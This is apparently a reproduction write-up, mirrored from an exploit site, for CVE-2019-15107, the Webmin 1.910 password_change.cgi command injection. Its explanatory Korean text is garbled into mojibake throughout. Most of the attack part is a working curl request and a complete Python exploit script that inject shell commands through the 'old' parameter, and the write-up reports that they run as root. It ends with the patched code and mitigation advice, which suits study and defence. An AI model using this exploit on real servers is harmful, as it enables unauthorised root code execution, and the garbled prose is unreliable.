Share
## https://sploitus.com/exploit?id=FDF0D331-710B-5B21-AE95-20F1AC2BBD7F
### ์์ฝ
Webmin์ Unix ์์คํ
์์ ์ฌ์ฉ๋๋ ์น ๊ธฐ๋ฐ ์์คํ
๊ด๋ฆฌ ๋๊ตฌ์ด๋ค. ํด๋น ๊ด๋ฆฌ ๋๊ตฌ์ ๊ธฐ๋ฅ ์ค ๋น๋ฐ๋ฒํธ๋ฅผ ๋ณ๊ฒฝํจ์ ์์ด ํ๋ผ๋ฏธํฐ๋ฅผ ํํฐ๋ฅผ ๊ฑฐ์น์ง ์๊ณ ๋ฐ๋ก ์ ๋ช
๋ น์ ๋๊ฒจ์ ์คํ์ํค๋ฉด์ ์์์ ์ฝ๋๋ฅผ ์คํ(Remote Code Execution, RCE)ํ ์ ์๊ฒ ๋๋ค.
### ํ๊ฒฝ ๊ตฌ์ฑ ๋ฐ ์ทจ์ฝ ์กฐ๊ฑด
๋ณธ ์ฌํ์์๋ vulhub์์ ์ฌ์ฉ๋์๋ webmin 1.910 ๋ฒ์ ์ ์ด์ฉํ๋ค. ๋ํ Webmin์ `passwd_mode=2`์ฌ์ผ ํ๋ค.
์ทจ์ฝํ ํ๊ฒฝ์ Webmin์ ์คํํ๊ธฐ ์ํด ์๋ ๋ช
๋ น์ด๋ฅผ ์
๋ ฅํ์.
```bash
docker compose up -d
```
1.920 ๋ฒ์ ํน์ 1.920 ์ด์ ๋ฒ์ ์ Webmin์ ์ด์ฉํ ๋ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ณ๊ฒฝํ๋ `password_change.cgi`์์ ์ทจ์ฝ์ ์ด ๋ฐ๊ฒฌ๋์๋ค.
๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ์๋ `user`, `old`, `new1`, `new2`์ ๊ฐ์ ์ฐ๋ฆฌ์๊ฒ ์ต์ํ ํ๋ผ๋ฏธํฐ๋ค์ด ์๊ตฌ๋๋ค. ์ด๋ค ์ค `old` ํ๋ผ๋ฏธํฐ์ ๊ฐ์ ์คํํด๋ฒ๋ฆฌ๋ ์ฝ๋๊ฐ ์ฝ์
๋์ด ์์๋ค.
์๋๋ 1.910๋ฒ์ ์ `password_change.cgi` ํ์ผ์ ์ผ๋ถ์ด๋ค. `qx/$in{'old'}/`๊ฐ ์์์ ๋งํ `old`์ ๊ฐ์ ์คํ์ํค๋ ์ฝ๋์ด๋ค. ํด๋น ๊ฐ์ ์กฐ์ ํจ์ผ๋ก์จ ์์์ฝ๋์คํ์ด ๊ฐ๋ฅํด์ง๋ค.
```bash
user@user:~/Documents/vulhub/webmin/CVE-2019-15107$ cat password_change.cgi | grep -C5 "\$in{'old'}"
die "Missing password file configuration";
}
if ($wuser) {
# Update Webmin user's password
$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
$perr && &pass_error(&text('password_enewpass', $perr));
$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
$wuser->{'temppass'} = 0;
&acl::modify_user($wuser->{'name'}, $wuser);
```
### ์ฌํ ์ ์ฐจ
Webmin์์ password_change.cgi๋ฅผ ์ ์ํ๊ณ , `old` ๋ณ์๋ฅผ ์กฐ์ํ์ฌ POST request๋ฅผ ๋ณด๋์ผ๋ก์จ ์ทจ์ฝ์ ์ ์ฌํํ ์ ์๋ค.
### PoC ์ฝ๋
curl์ ์ด์ฉํ๋ python์ ์ด์ฉํ๋ ์ด๋ค ๋ฐฉ์์ผ๋ก๋ POST ๋ฐฉ์์ ์์ฒญ์ ๋ณด๋ผ ์๋ง ์์ผ๋ฉด ๋๋ค.
1. **curl**
```docker
curl -k -X POST https://your-ip:10000/password_change.cgi -d "user=nonexistent&pam=&expired=2&old=**id**&new1=test&new2=test" -H "Referer: https://your-ip:10000/session_login.cgi"
```
1. **python**
```bash
import requests
import sys
import argparse
def exploit_webmin(target, command):
url = f"https://{target}/password_change.cgi"
# HTTPS ์ธ์ฆ์ ๋ฌด์
requests.packages.urllib3.disable_warnings()
# CVE-2019-15107 payload
# old ํ๋ผ๋ฏธํฐ์ ๋ช
๋ น์ด ์
๋ ฅ
data = {
'user': 'rootxx',
'pam': '',
'expired': '2',
'old': command, # ๋ช
๋ น์ด
'new1': 'test2',
'new2': 'test2'
}
headers = {
'Referer': f'https://{target}/session_login.cgi',
}
try:
response = requests.post(
url,
data=data,
headers=headers,
verify=False,
timeout=5
)
if response.status_code == 200:
print("[+] Exploit sent!")
print("[+] Response:")
print(response.text)
return True
else:
print(f"[-] Status code: {response.status_code}")
return False
except Exception as e:
print(f"[-] Error: {e}")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='CVE-2019-15107 Webmin RCE PoC')
parser.add_argument('-t', '--target', required=True, help='Target IP:port (e.g., 127.0.0.1:10000)')
parser.add_argument('-c', '--command', default='id', help='Command to execute (default: id)')
args = parser.parse_args()
print(f"[*] Exploiting Webmin at {args.target}")
print(f"[*] Command: {args.command}")
exploit_webmin(args.target, args.command)
```
์๋์ ๊ฐ์ด ์คํํ ์ ์๋ค.
```bash
python3 poc.py -t your-ip:10000 -c "id"
```
### ์คํ ๊ฒฐ๊ณผ

์์ ๋ฐฉ์์ผ๋ก `old` ํ๋ผ๋ฏธํฐ์ ์ํ๋ ๋ช
๋ น์ด๋ฅผ ์ง์ด๋ฃ์ผ๋ฉด ๊ทธ๋๋ก ๋ช
๋ น์ด๊ฐ ์คํ๋๋ค. ํด๋น ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด uid๊ฐ ์ ๋ถ 0์ผ๋ก root ๊ถํ์ผ๋ก ์คํ๋๋ค๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์ฆ, ๋ณธ [CVE-2019-15107] ์ทจ์ฝ์ ์ root ๊ถํ์ผ๋ก RCE๋ฅผ ์ํํ ์ ์๋ค๋ ๊ฒ์ด๋ค.
์ทจ์ฝ์ ์ ์ฌํ์ด ๋๋ฌ๋ค๋ฉด ์๋ ์ฝ๋๋ฅผ ํตํด ์๋น์ค๋ฅผ ์ข
๋ฃํ ์ ์๋ค.
```bash
docker compose down
```
### ๋์ ๋ฐฉ์
๊ฐ์ฅ ๊ฐ๋จํ ๋ฐฉ์์ผ๋ก webmin์ ์
๋ฐ์ดํธํ๋ ๋ฐฉ๋ฒ์ด ์๋ค.
1.930 ๋ฒ์ ์ผ๋ก ์
๋ฐ์ดํธํ๋ฉด์ ๋ฐ๋ ์ฝ๋์ด๋ค. old ๊ฐ์ ์คํํ๋ ๋ถ๋ถ์ ๊ทธ๋๋ก ์ง์๋ฒ๋ฆฌ๋ ๋ฐฉ์์ผ๋ก ์ฒ๋ฆฌํ์๋ค.
```bash
if ($wuser) {
# Update Webmin user's password
$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});
$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
$perr && &pass_error(&text('password_enewpass', $perr));
$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
$wuser->{'temppass'} = 0;
&acl::modify_user($wuser->{'name'}, $wuser);
&reload_miniserv();
}
```
๋ง์ฝ ์ฝ๋ ์คํ ํํธ๊ฐ ํ์์๋๋ค๋ฉด `old` ์
๋ ฅ๊ฐ์ ๊ฒ์ฆํ๋ ์ฝ๋๋ฅผ ์ฝ์
ํ์ฌ ํด๊ฒฐํ ์๋ ์๋ค.